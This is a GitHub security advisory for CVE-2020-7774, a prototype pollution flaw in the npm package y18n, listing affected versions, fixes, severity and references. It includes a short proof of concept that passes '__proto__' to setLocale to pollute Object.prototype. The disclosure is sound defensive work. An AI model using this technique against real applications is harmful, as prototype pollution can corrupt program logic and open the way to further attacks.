GitHub Advisoryadvisory · npm
GHSA-c4w7-xm78-47vh Prototype Pollution in y18n
HIGH
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- Aliases
- CVE-2020-7774
- Ecosystem
- npm
- Packages
- y18n
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Weaknesses
- CWE-1321, CWE-20, CWE-915
- Reviewed
- 2021-03-12
Affected packages
• npm y18n: < 3.2.2 → fixed in 3.2.2
• npm y18n: >= 4.0.0, < 4.0.1 → fixed in 4.0.1
• npm y18n: >= 5.0.0, < 5.0.5 → fixed in 5.0.5
Description
Overview
The npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.
POC
```js
const y18n = require('y18n')();
y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});
console.log(polluted); // true
```
Recommendation
Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.
Related
Alias · CVE (1)
- CVE-2020-7774 The package y18n before 3.2.2, 4.0.1 and 5.0.5, is vulnerable to Prototype Pollution. vulnerability
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-7774 advisory
- https://github.com/yargs/y18n/issues/96 web
- https://github.com/yargs/y18n/pull/108 web
- https://github.com/yargs/y18n/commit/90401eea9062ad498f4f792e3fff8008c4c193a3 web
- https://github.com/yargs/y18n/commit/a9ac604abf756dec9687be3843e2c93bfe581f25 web
- https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf web
- https://github.com/yargs/y18n package
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306 web
- https://snyk.io/vuln/SNYK-JS-Y18N-1021887 web
- https://www.oracle.com/security-alerts/cpuApr2021.html web